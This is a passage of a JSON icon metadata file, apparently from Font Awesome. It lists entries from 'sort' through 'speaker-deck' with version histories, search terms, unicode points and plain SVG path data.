        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M122.2 0C91.7 0 65.5 21.5 59.5 51.4L8.3 307.4C.4 347 30.6 384 71 384H288v64H224c-17.7 0-32 14.3-32 32s14.3 32 32 32H416c17.7 0 32-14.3 32-32s-14.3-32-32-32H352V384H569c40.4 0 70.7-36.9 62.8-76.6l-51.2-256C574.5 21.5 548.3 0 517.8 0H122.2zM260.9 64H379.1l10.4 104h-139L260.9 64zM202.3 168H101.4L122.2 64h90.4L202.3 168zM91.8 216H197.5L187.1 320H71L91.8 216zm153.9 0H394.3l10.4 104-169.4 0 10.4-104zm196.8 0H548.2L569 320h-116L442.5 216zm96-48H437.7L427.3 64h90.4l31.4-6.3L517.8 64l20.8 104z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M122.2 0C91.7 0 65.5 21.5 59.5 51.4L8.3 307.4C.4 347 30.6 384 71 384H288v64H224c-17.7 0-32 14.3-32 32s14.3 32 32 32H416c17.7 0 32-14.3 32-32s-14.3-32-32-32H352V384H569c40.4 0 70.7-36.9 62.8-76.6l-51.2-256C574.5 21.5 548.3 0 517.8 0H122.2zM260.9 64H379.1l10.4 104h-139L260.9 64zM202.3 168H101.4L122.2 64h90.4L202.3 168zM91.8 216H197.5L187.1 320H71L91.8 216zm153.9 0H394.3l10.4 104-169.4 0 10.4-104zm196.8 0H548.2L569 320h-116L442.5 216zm96-48H437.7L427.3 64h90.4l31.4-6.3L517.8 64l20.8 104z"
      }
    },
    "free": ["solid"]
  },
  "sort": {
    "aliases": {
      "names": ["unsorted"],
      "unicodes": {
        "secondary": ["10f0dc"]
      }
    },
    "changes": [
      "2.0.0",
      "5.0.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["filter", "order"]
    },
    "styles": ["solid"],
    "unicode": "f0dc",
    "label": "Sort",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766331,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M137.4 41.4c12.5-12.5 32.8-12.5 45.3 0l128 128c9.2 9.2 11.9 22.9 6.9 34.9s-16.6 19.8-29.6 19.8H32c-12.9 0-24.6-7.8-29.6-19.8s-2.2-25.7 6.9-34.9l128-128zm0 429.3l-128-128c-9.2-9.2-11.9-22.9-6.9-34.9s16.6-19.8 29.6-19.8H288c12.9 0 24.6 7.8 29.6 19.8s2.2 25.7-6.9 34.9l-128 128c-12.5 12.5-32.8 12.5-45.3 0z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M137.4 41.4c12.5-12.5 32.8-12.5 45.3 0l128 128c9.2 9.2 11.9 22.9 6.9 34.9s-16.6 19.8-29.6 19.8H32c-12.9 0-24.6-7.8-29.6-19.8s-2.2-25.7 6.9-34.9l128-128zm0 429.3l-128-128c-9.2-9.2-11.9-22.9-6.9-34.9s16.6-19.8 29.6-19.8H288c12.9 0 24.6 7.8 29.6 19.8s2.2 25.7-6.9 34.9l-128 128c-12.5 12.5-32.8 12.5-45.3 0z"
      }
    },
    "free": ["solid"]
  },
  "sort-down": {
    "aliases": {
      "names": ["sort-desc"],
      "unicodes": {
        "secondary": ["10f0dd"]
      }
    },
    "changes": [
      "2.0.0",
      "5.0.0",
      "5.10.1",
      "5.10.2",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["arrow", "descending", "filter", "order", "sort-desc"]
    },
    "styles": ["solid"],
    "unicode": "f0dd",
    "label": "Sort Down",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766332,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M182.6 470.6c-12.5 12.5-32.8 12.5-45.3 0l-128-128c-9.2-9.2-11.9-22.9-6.9-34.9s16.6-19.8 29.6-19.8H288c12.9 0 24.6 7.8 29.6 19.8s2.2 25.7-6.9 34.9l-128 128z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M182.6 470.6c-12.5 12.5-32.8 12.5-45.3 0l-128-128c-9.2-9.2-11.9-22.9-6.9-34.9s16.6-19.8 29.6-19.8H288c12.9 0 24.6 7.8 29.6 19.8s2.2 25.7-6.9 34.9l-128 128z"
      }
    },
    "free": ["solid"]
  },
  "sort-up": {
    "aliases": {
      "names": ["sort-asc"],
      "unicodes": {
        "secondary": ["10f0de"]
      }
    },
    "changes": [
      "2.0.0",
      "5.0.0",
      "5.10.1",
      "5.10.2",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["arrow", "ascending", "filter", "order", "sort-asc"]
    },
    "styles": ["solid"],
    "unicode": "f0de",
    "label": "Sort Up",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766330,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M182.6 41.4c-12.5-12.5-32.8-12.5-45.3 0l-128 128c-9.2 9.2-11.9 22.9-6.9 34.9s16.6 19.8 29.6 19.8H288c12.9 0 24.6-7.8 29.6-19.8s2.2-25.7-6.9-34.9l-128-128z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M182.6 41.4c-12.5-12.5-32.8-12.5-45.3 0l-128 128c-9.2 9.2-11.9 22.9-6.9 34.9s16.6 19.8 29.6 19.8H288c12.9 0 24.6-7.8 29.6-19.8s2.2-25.7-6.9-34.9l-128-128z"
      }
    },
    "free": ["solid"]
  },
  "soundcloud": {
    "changes": ["4.1.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f1be",
    "label": "SoundCloud",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014468,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M111.4 256.3l5.8 65-5.8 68.3c-.3 2.5-2.2 4.4-4.4 4.4s-4.2-1.9-4.2-4.4l-5.6-68.3 5.6-65c0-2.2 1.9-4.2 4.2-4.2 2.2 0 4.1 2 4.4 4.2zm21.4-45.6c-2.8 0-4.7 2.2-5 5l-5 105.6 5 68.3c.3 2.8 2.2 5 5 5 2.5 0 4.7-2.2 4.7-5l5.8-68.3-5.8-105.6c0-2.8-2.2-5-4.7-5zm25.5-24.1c-3.1 0-5.3 2.2-5.6 5.3l-4.4 130 4.4 67.8c.3 3.1 2.5 5.3 5.6 5.3 2.8 0 5.3-2.2 5.3-5.3l5.3-67.8-5.3-130c0-3.1-2.5-5.3-5.3-5.3zM7.2 283.2c-1.4 0-2.2 1.1-2.5 2.5L0 321.3l4.7 35c.3 1.4 1.1 2.5 2.5 2.5s2.2-1.1 2.5-2.5l5.6-35-5.6-35.6c-.3-1.4-1.1-2.5-2.5-2.5zm23.6-21.9c-1.4 0-2.5 1.1-2.5 2.5l-6.4 57.5 6.4 56.1c0 1.7 1.1 2.8 2.5 2.8s2.5-1.1 2.8-2.5l7.2-56.4-7.2-57.5c-.3-1.4-1.4-2.5-2.8-2.5zm25.3-11.4c-1.7 0-3.1 1.4-3.3 3.3L47 321.3l5.8 65.8c.3 1.7 1.7 3.1 3.3 3.1 1.7 0 3.1-1.4 3.1-3.1l6.9-65.8-6.9-68.1c0-1.9-1.4-3.3-3.1-3.3zm25.3-2.2c-1.9 0-3.6 1.4-3.6 3.6l-5.8 70 5.8 67.8c0 2.2 1.7 3.6 3.6 3.6s3.6-1.4 3.9-3.6l6.4-67.8-6.4-70c-.3-2.2-2-3.6-3.9-3.6zm241.4-110.9c-1.1-.8-2.8-1.4-4.2-1.4-2.2 0-4.2.8-5.6 1.9-1.9 1.7-3.1 4.2-3.3 6.7v.8l-3.3 176.7 1.7 32.5 1.7 31.7c.3 4.7 4.2 8.6 8.9 8.6s8.6-3.9 8.6-8.6l3.9-64.2-3.9-177.5c-.4-3-2-5.8-4.5-7.2zm-26.7 15.3c-1.4-.8-2.8-1.4-4.4-1.4s-3.1.6-4.4 1.4c-2.2 1.4-3.6 3.9-3.6 6.7l-.3 1.7-2.8 160.8s0 .3 3.1 65.6v.3c0 1.7.6 3.3 1.7 4.7 1.7 1.9 3.9 3.1 6.4 3.1 2.2 0 4.2-1.1 5.6-2.5 1.7-1.4 2.5-3.3 2.5-5.6l.3-6.7 3.1-58.6-3.3-162.8c-.3-2.8-1.7-5.3-3.9-6.7zm-111.4 22.5c-3.1 0-5.8 2.8-5.8 6.1l-4.4 140.6 4.4 67.2c.3 3.3 2.8 5.8 5.8 5.8 3.3 0 5.8-2.5 6.1-5.8l5-67.2-5-140.6c-.2-3.3-2.7-6.1-6.1-6.1zm376.7 62.8c-10.8 0-21.1 2.2-30.6 6.1-6.4-70.8-65.8-126.4-138.3-126.4-17.8 0-35 3.3-50.3 9.4-6.1 2.2-7.8 4.4-7.8 9.2v249.7c0 5 3.9 8.6 8.6 9.2h218.3c43.3 0 78.6-35 78.6-78.3.1-43.6-35.2-78.9-78.5-78.9zm-296.7-60.3c-4.2 0-7.5 3.3-7.8 7.8l-3.3 136.7 3.3 65.6c.3 4.2 3.6 7.5 7.8 7.5 4.2 0 7.5-3.3 7.5-7.5l3.9-65.6-3.9-136.7c-.3-4.5-3.3-7.8-7.5-7.8zm-53.6-7.8c-3.3 0-6.4 3.1-6.4 6.7l-3.9 145.3 3.9 66.9c.3 3.6 3.1 6.4 6.4 6.4 3.6 0 6.4-2.8 6.7-6.4l4.4-66.9-4.4-145.3c-.3-3.6-3.1-6.7-6.7-6.7zm26.7 3.4c-3.9 0-6.9 3.1-6.9 6.9L227 321.3l3.9 66.4c.3 3.9 3.1 6.9 6.9 6.9s6.9-3.1 6.9-6.9l4.2-66.4-4.2-141.7c0-3.9-3-6.9-6.9-6.9z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M111.4 256.3l5.8 65-5.8 68.3c-.3 2.5-2.2 4.4-4.4 4.4s-4.2-1.9-4.2-4.4l-5.6-68.3 5.6-65c0-2.2 1.9-4.2 4.2-4.2 2.2 0 4.1 2 4.4 4.2zm21.4-45.6c-2.8 0-4.7 2.2-5 5l-5 105.6 5 68.3c.3 2.8 2.2 5 5 5 2.5 0 4.7-2.2 4.7-5l5.8-68.3-5.8-105.6c0-2.8-2.2-5-4.7-5zm25.5-24.1c-3.1 0-5.3 2.2-5.6 5.3l-4.4 130 4.4 67.8c.3 3.1 2.5 5.3 5.6 5.3 2.8 0 5.3-2.2 5.3-5.3l5.3-67.8-5.3-130c0-3.1-2.5-5.3-5.3-5.3zM7.2 283.2c-1.4 0-2.2 1.1-2.5 2.5L0 321.3l4.7 35c.3 1.4 1.1 2.5 2.5 2.5s2.2-1.1 2.5-2.5l5.6-35-5.6-35.6c-.3-1.4-1.1-2.5-2.5-2.5zm23.6-21.9c-1.4 0-2.5 1.1-2.5 2.5l-6.4 57.5 6.4 56.1c0 1.7 1.1 2.8 2.5 2.8s2.5-1.1 2.8-2.5l7.2-56.4-7.2-57.5c-.3-1.4-1.4-2.5-2.8-2.5zm25.3-11.4c-1.7 0-3.1 1.4-3.3 3.3L47 321.3l5.8 65.8c.3 1.7 1.7 3.1 3.3 3.1 1.7 0 3.1-1.4 3.1-3.1l6.9-65.8-6.9-68.1c0-1.9-1.4-3.3-3.1-3.3zm25.3-2.2c-1.9 0-3.6 1.4-3.6 3.6l-5.8 70 5.8 67.8c0 2.2 1.7 3.6 3.6 3.6s3.6-1.4 3.9-3.6l6.4-67.8-6.4-70c-.3-2.2-2-3.6-3.9-3.6zm241.4-110.9c-1.1-.8-2.8-1.4-4.2-1.4-2.2 0-4.2.8-5.6 1.9-1.9 1.7-3.1 4.2-3.3 6.7v.8l-3.3 176.7 1.7 32.5 1.7 31.7c.3 4.7 4.2 8.6 8.9 8.6s8.6-3.9 8.6-8.6l3.9-64.2-3.9-177.5c-.4-3-2-5.8-4.5-7.2zm-26.7 15.3c-1.4-.8-2.8-1.4-4.4-1.4s-3.1.6-4.4 1.4c-2.2 1.4-3.6 3.9-3.6 6.7l-.3 1.7-2.8 160.8s0 .3 3.1 65.6v.3c0 1.7.6 3.3 1.7 4.7 1.7 1.9 3.9 3.1 6.4 3.1 2.2 0 4.2-1.1 5.6-2.5 1.7-1.4 2.5-3.3 2.5-5.6l.3-6.7 3.1-58.6-3.3-162.8c-.3-2.8-1.7-5.3-3.9-6.7zm-111.4 22.5c-3.1 0-5.8 2.8-5.8 6.1l-4.4 140.6 4.4 67.2c.3 3.3 2.8 5.8 5.8 5.8 3.3 0 5.8-2.5 6.1-5.8l5-67.2-5-140.6c-.2-3.3-2.7-6.1-6.1-6.1zm376.7 62.8c-10.8 0-21.1 2.2-30.6 6.1-6.4-70.8-65.8-126.4-138.3-126.4-17.8 0-35 3.3-50.3 9.4-6.1 2.2-7.8 4.4-7.8 9.2v249.7c0 5 3.9 8.6 8.6 9.2h218.3c43.3 0 78.6-35 78.6-78.3.1-43.6-35.2-78.9-78.5-78.9zm-296.7-60.3c-4.2 0-7.5 3.3-7.8 7.8l-3.3 136.7 3.3 65.6c.3 4.2 3.6 7.5 7.8 7.5 4.2 0 7.5-3.3 7.5-7.5l3.9-65.6-3.9-136.7c-.3-4.5-3.3-7.8-7.5-7.8zm-53.6-7.8c-3.3 0-6.4 3.1-6.4 6.7l-3.9 145.3 3.9 66.9c.3 3.6 3.1 6.4 6.4 6.4 3.6 0 6.4-2.8 6.7-6.4l4.4-66.9-4.4-145.3c-.3-3.6-3.1-6.7-6.7-6.7zm26.7 3.4c-3.9 0-6.9 3.1-6.9 6.9L227 321.3l3.9 66.4c.3 3.9 3.1 6.9 6.9 6.9s6.9-3.1 6.9-6.9l4.2-66.4-4.2-141.7c0-3.9-3-6.9-6.9-6.9z"
      }
    },
    "free": ["brands"]
  },
  "sourcetree": {
    "changes": ["5.6.0", "5.8.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f7d3",
    "label": "Sourcetree",
    "voted": true,
    "svg": {
      "brands": {
        "last_modified": 1660014480,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M427.2 203c0-112.1-90.9-203-203-203C112.1-.2 21.2 90.6 21 202.6A202.86 202.86 0 0 0 161.5 396v101.7a14.3 14.3 0 0 0 14.3 14.3h96.4a14.3 14.3 0 0 0 14.3-14.3V396.1A203.18 203.18 0 0 0 427.2 203zm-271.6 0c0-90.8 137.3-90.8 137.3 0-.1 89.9-137.3 91-137.3 0z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M427.2 203c0-112.1-90.9-203-203-203C112.1-.2 21.2 90.6 21 202.6A202.86 202.86 0 0 0 161.5 396v101.7a14.3 14.3 0 0 0 14.3 14.3h96.4a14.3 14.3 0 0 0 14.3-14.3V396.1A203.18 203.18 0 0 0 427.2 203zm-271.6 0c0-90.8 137.3-90.8 137.3 0-.1 89.9-137.3 91-137.3 0z"
      }
    },
    "free": ["brands"]
  },
  "spa": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f5bb"]
      }
    },
    "changes": ["5.1.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["flora", "massage", "mindfulness", "plant", "wellness"]
    },
    "styles": ["solid"],
    "unicode": "f5bb",
    "label": "Spa",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767443,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M183.1 235.3c33.7 20.7 62.9 48.1 85.8 80.5c7 9.9 13.4 20.3 19.1 31c5.7-10.8 12.1-21.1 19.1-31c22.9-32.4 52.1-59.8 85.8-80.5C437.6 207.8 490.1 192 546 192h9.9c11.1 0 20.1 9 20.1 20.1C576 360.1 456.1 480 308.1 480H288 267.9C119.9 480 0 360.1 0 212.1C0 201 9 192 20.1 192H30c55.9 0 108.4 15.8 153.1 43.3zM301.5 37.6c15.7 16.9 61.1 71.8 84.4 164.6c-38 21.6-71.4 50.8-97.9 85.6c-26.5-34.8-59.9-63.9-97.9-85.6c23.2-92.8 68.6-147.7 84.4-164.6C278 33.9 282.9 32 288 32s10 1.9 13.5 5.6z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M183.1 235.3c33.7 20.7 62.9 48.1 85.8 80.5c7 9.9 13.4 20.3 19.1 31c5.7-10.8 12.1-21.1 19.1-31c22.9-32.4 52.1-59.8 85.8-80.5C437.6 207.8 490.1 192 546 192h9.9c11.1 0 20.1 9 20.1 20.1C576 360.1 456.1 480 308.1 480H288 267.9C119.9 480 0 360.1 0 212.1C0 201 9 192 20.1 192H30c55.9 0 108.4 15.8 153.1 43.3zM301.5 37.6c15.7 16.9 61.1 71.8 84.4 164.6c-38 21.6-71.4 50.8-97.9 85.6c-26.5-34.8-59.9-63.9-97.9-85.6c23.2-92.8 68.6-147.7 84.4-164.6C278 33.9 282.9 32 288 32s10 1.9 13.5 5.6z"
      }
    },
    "free": ["solid"]
  },
  "space-awesome": {
    "changes": ["6.1.2"],
    "ligatures": [],
    "search": {
      "terms": ["adventure", "rocket", "ship", "shuttle"]
    },
    "styles": ["brands"],
    "unicode": "e5ac",
    "label": "Space Awesome",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014463,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M96 256H128V512H0V352H32V320H64V288H96V256zM512 352V512H384V256H416V288H448V320H480V352H512zM320 64H352V448H320V416H192V448H160V64H192V32H224V0H288V32H320V64zM288 128H224V192H288V128z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M96 256H128V512H0V352H32V320H64V288H96V256zM512 352V512H384V256H416V288H448V320H480V352H512zM320 64H352V448H320V416H192V448H160V64H192V32H224V0H288V32H320V64zM288 128H224V192H288V128z"
      }
    },
    "free": ["brands"]
  },
  "spaghetti-monster-flying": {
    "aliases": {
      "names": ["pastafarianism"],
      "unicodes": {
        "secondary": ["10f67b"]
      }
    },
    "changes": ["5.3.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["agnosticism", "atheism", "flying spaghetti monster", "fsm"]
    },
    "styles": ["solid"],
    "unicode": "f67b",
    "label": "Spaghetti Monster Flying",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767603,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M208 64a16 16 0 1 0 -32 0 16 16 0 1 0 32 0zm48 0c0 16.2-6 31.1-16 42.3l15.6 31.2c18.7-6 39.9-9.5 64.4-9.5s45.8 3.5 64.4 9.5L400 106.3C390 95.1 384 80.2 384 64c0-35.3 28.7-64 64-64s64 28.7 64 64s-28.7 64-64 64c-1.7 0-3.4-.1-5.1-.2L427.8 158c21.1 13.6 37.7 30.2 51.4 46.4c7.1 8.3 13.5 16.6 19.3 24l1.4 1.8c6.3 8.1 11.6 14.8 16.7 20.4C527.3 262.3 532.7 264 536 264c2.5 0 4.3-.6 7.1-3.3c3.7-3.5 7.1-8.8 12.5-17.4l.6-.9c4.6-7.4 11-17.6 19.4-25.7c9.7-9.3 22.9-16.7 40.4-16.7c13.3 0 24 10.7 24 24s-10.7 24-24 24c-2.5 0-4.3 .6-7.1 3.3c-3.7 3.5-7.1 8.8-12.5 17.4l-.6 .9c-4.6 7.4-11 17.6-19.4 25.7c-9.7 9.3-22.9 16.7-40.4 16.7c-18.5 0-32.9-8.5-44.3-18.6c-3.1 4-6.6 8.3-10.5 12.7c1.4 4.3 2.8 8.5 4 12.5c.9 3 1.8 5.8 2.6 8.6c3 9.8 5.5 18.2 8.6 25.9c3.9 9.8 7.4 15.4 10.8 18.5c2.6 2.4 5.9 4.3 12.8 4.3c8.7 0 16.9-4.2 33.7-13.2c15-8 35.7-18.8 62.3-18.8c13.3 0 24 10.7 24 24s-10.7 24-24 24c-13.4 0-24.7 5.2-39.7 13.2c-1 .6-2.1 1.1-3.2 1.7C559.9 414 541.4 424 520 424c-18.4 0-33.6-6.1-45.5-17.2c-11.1-10.3-17.9-23.7-22.7-36c-3.6-9-6.7-19.1-9.5-28.5c-16.4 12.3-36.1 23.6-58.9 31.3c3.6 10.8 8.4 23.5 14.4 36.2c7.5 15.9 16.2 30.4 25.8 40.5C433 460.5 441.2 464 448 464c13.3 0 24 10.7 24 24s-10.7 24-24 24c-25.2 0-45-13.5-59.5-28.8c-14.5-15.4-25.7-34.9-34.2-53c-8-17-14.1-33.8-18.3-46.9c-5.2 .4-10.6 .6-16 .6s-10.8-.2-16-.6c-4.2 13-10.3 29.9-18.3 46.9c-8.5 18.1-19.8 37.6-34.2 53C237 498.5 217.2 512 192 512c-13.3 0-24-10.7-24-24s10.7-24 24-24c6.8 0 15-3.5 24.5-13.7c9.5-10.1 18.3-24.6 25.8-40.5c5.9-12.6 10.7-25.4 14.4-36.2c-22.8-7.7-42.5-19-58.9-31.3c-2.9 9.4-6 19.5-9.5 28.5c-4.8 12.2-11.6 25.6-22.7 36C153.6 417.9 138.4 424 120 424c-21.4 0-39.9-10-53.1-17.1l0 0c-1.1-.6-2.2-1.2-3.2-1.7c-15-8-26.3-13.2-39.7-13.2c-13.3 0-24-10.7-24-24s10.7-24 24-24c26.6 0 47.3 10.8 62.3 18.8c16.8 9 25 13.2 33.7 13.2c6.8 0 10.2-1.9 12.8-4.3c3.4-3.2 7-8.8 10.8-18.5c3-7.7 5.6-16.1 8.6-25.9c.8-2.7 1.7-5.6 2.6-8.6c1.2-4 2.6-8.2 4-12.5c-3.9-4.5-7.4-8.8-10.5-12.7C136.9 303.5 122.5 312 104 312c-17.5 0-30.7-7.4-40.4-16.7c-8.4-8.1-14.8-18.3-19.4-25.7l-.6-.9c-5.4-8.6-8.8-13.9-12.5-17.4c-2.8-2.7-4.6-3.3-7.1-3.3c-13.3 0-24-10.7-24-24s10.7-24 24-24c17.5 0 30.7 7.4 40.4 16.7c8.4 8.1 14.8 18.3 19.4 25.7l.6 .9c5.4 8.6 8.8 13.9 12.5 17.4c2.8 2.7 4.6 3.3 7.1 3.3c3.3 0 8.7-1.7 19.4-13.4c5.1-5.6 10.4-12.3 16.7-20.4l1.4-1.8c5.8-7.4 12.2-15.7 19.3-24c13.8-16.2 30.3-32.8 51.4-46.4l-15.1-30.2c-1.7 .1-3.4 .2-5.1 .2c-35.3 0-64-28.7-64-64s28.7-64 64-64s64 28.7 64 64zm208 0a16 16 0 1 0 -32 0 16 16 0 1 0 32 0z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M208 64a16 16 0 1 0 -32 0 16 16 0 1 0 32 0zm48 0c0 16.2-6 31.1-16 42.3l15.6 31.2c18.7-6 39.9-9.5 64.4-9.5s45.8 3.5 64.4 9.5L400 106.3C390 95.1 384 80.2 384 64c0-35.3 28.7-64 64-64s64 28.7 64 64s-28.7 64-64 64c-1.7 0-3.4-.1-5.1-.2L427.8 158c21.1 13.6 37.7 30.2 51.4 46.4c7.1 8.3 13.5 16.6 19.3 24l1.4 1.8c6.3 8.1 11.6 14.8 16.7 20.4C527.3 262.3 532.7 264 536 264c2.5 0 4.3-.6 7.1-3.3c3.7-3.5 7.1-8.8 12.5-17.4l.6-.9c4.6-7.4 11-17.6 19.4-25.7c9.7-9.3 22.9-16.7 40.4-16.7c13.3 0 24 10.7 24 24s-10.7 24-24 24c-2.5 0-4.3 .6-7.1 3.3c-3.7 3.5-7.1 8.8-12.5 17.4l-.6 .9c-4.6 7.4-11 17.6-19.4 25.7c-9.7 9.3-22.9 16.7-40.4 16.7c-18.5 0-32.9-8.5-44.3-18.6c-3.1 4-6.6 8.3-10.5 12.7c1.4 4.3 2.8 8.5 4 12.5c.9 3 1.8 5.8 2.6 8.6c3 9.8 5.5 18.2 8.6 25.9c3.9 9.8 7.4 15.4 10.8 18.5c2.6 2.4 5.9 4.3 12.8 4.3c8.7 0 16.9-4.2 33.7-13.2c15-8 35.7-18.8 62.3-18.8c13.3 0 24 10.7 24 24s-10.7 24-24 24c-13.4 0-24.7 5.2-39.7 13.2c-1 .6-2.1 1.1-3.2 1.7C559.9 414 541.4 424 520 424c-18.4 0-33.6-6.1-45.5-17.2c-11.1-10.3-17.9-23.7-22.7-36c-3.6-9-6.7-19.1-9.5-28.5c-16.4 12.3-36.1 23.6-58.9 31.3c3.6 10.8 8.4 23.5 14.4 36.2c7.5 15.9 16.2 30.4 25.8 40.5C433 460.5 441.2 464 448 464c13.3 0 24 10.7 24 24s-10.7 24-24 24c-25.2 0-45-13.5-59.5-28.8c-14.5-15.4-25.7-34.9-34.2-53c-8-17-14.1-33.8-18.3-46.9c-5.2 .4-10.6 .6-16 .6s-10.8-.2-16-.6c-4.2 13-10.3 29.9-18.3 46.9c-8.5 18.1-19.8 37.6-34.2 53C237 498.5 217.2 512 192 512c-13.3 0-24-10.7-24-24s10.7-24 24-24c6.8 0 15-3.5 24.5-13.7c9.5-10.1 18.3-24.6 25.8-40.5c5.9-12.6 10.7-25.4 14.4-36.2c-22.8-7.7-42.5-19-58.9-31.3c-2.9 9.4-6 19.5-9.5 28.5c-4.8 12.2-11.6 25.6-22.7 36C153.6 417.9 138.4 424 120 424c-21.4 0-39.9-10-53.1-17.1l0 0c-1.1-.6-2.2-1.2-3.2-1.7c-15-8-26.3-13.2-39.7-13.2c-13.3 0-24-10.7-24-24s10.7-24 24-24c26.6 0 47.3 10.8 62.3 18.8c16.8 9 25 13.2 33.7 13.2c6.8 0 10.2-1.9 12.8-4.3c3.4-3.2 7-8.8 10.8-18.5c3-7.7 5.6-16.1 8.6-25.9c.8-2.7 1.7-5.6 2.6-8.6c1.2-4 2.6-8.2 4-12.5c-3.9-4.5-7.4-8.8-10.5-12.7C136.9 303.5 122.5 312 104 312c-17.5 0-30.7-7.4-40.4-16.7c-8.4-8.1-14.8-18.3-19.4-25.7l-.6-.9c-5.4-8.6-8.8-13.9-12.5-17.4c-2.8-2.7-4.6-3.3-7.1-3.3c-13.3 0-24-10.7-24-24s10.7-24 24-24c17.5 0 30.7 7.4 40.4 16.7c8.4 8.1 14.8 18.3 19.4 25.7l.6 .9c5.4 8.6 8.8 13.9 12.5 17.4c2.8 2.7 4.6 3.3 7.1 3.3c3.3 0 8.7-1.7 19.4-13.4c5.1-5.6 10.4-12.3 16.7-20.4l1.4-1.8c5.8-7.4 12.2-15.7 19.3-24c13.8-16.2 30.3-32.8 51.4-46.4l-15.1-30.2c-1.7 .1-3.4 .2-5.1 .2c-35.3 0-64-28.7-64-64s28.7-64 64-64s64 28.7 64 64zm208 0a16 16 0 1 0 -32 0 16 16 0 1 0 32 0z"
      }
    },
    "free": ["solid"]
  },
  "speakap": {
    "changes": ["5.0.0", "5.4.0", "5.8.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3f3",
    "label": "Speakap",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014473,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M64 391.78C-15.41 303.59-8 167.42 80.64 87.64s224.8-73 304.21 15.24 72 224.36-16.64 304.14c-18.74 16.87 64 43.09 42 52.26-82.06 34.21-253.91 35-346.23-67.5zm213.31-211.6l38.5-40.86c-9.61-8.89-32-26.83-76.17-27.6-52.33-.91-95.86 28.3-96.77 80-.2 11.33.29 36.72 29.42 54.83 34.46 21.42 86.52 21.51 86 52.26-.37 21.28-26.42 25.81-38.59 25.6-3-.05-30.23-.46-47.61-24.62l-40 42.61c28.16 27 59 32.62 83.49 33.05 10.23.18 96.42.33 97.84-81 .28-15.81-2.07-39.72-28.86-56.59-34.36-21.64-85-19.45-84.43-49.75.41-23.25 31-25.37 37.53-25.26.43 0 26.62.26 39.62 17.37z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M64 391.78C-15.41 303.59-8 167.42 80.64 87.64s224.8-73 304.21 15.24 72 224.36-16.64 304.14c-18.74 16.87 64 43.09 42 52.26-82.06 34.21-253.91 35-346.23-67.5zm213.31-211.6l38.5-40.86c-9.61-8.89-32-26.83-76.17-27.6-52.33-.91-95.86 28.3-96.77 80-.2 11.33.29 36.72 29.42 54.83 34.46 21.42 86.52 21.51 86 52.26-.37 21.28-26.42 25.81-38.59 25.6-3-.05-30.23-.46-47.61-24.62l-40 42.61c28.16 27 59 32.62 83.49 33.05 10.23.18 96.42.33 97.84-81 .28-15.81-2.07-39.72-28.86-56.59-34.36-21.64-85-19.45-84.43-49.75.41-23.25 31-25.37 37.53-25.26.43 0 26.62.26 39.62 17.37z"
      }
    },
    "free": ["brands"]
  },
  "speaker-deck": {
    "changes": ["5.8.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f83c",
    "label": "Speaker Deck",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014470,
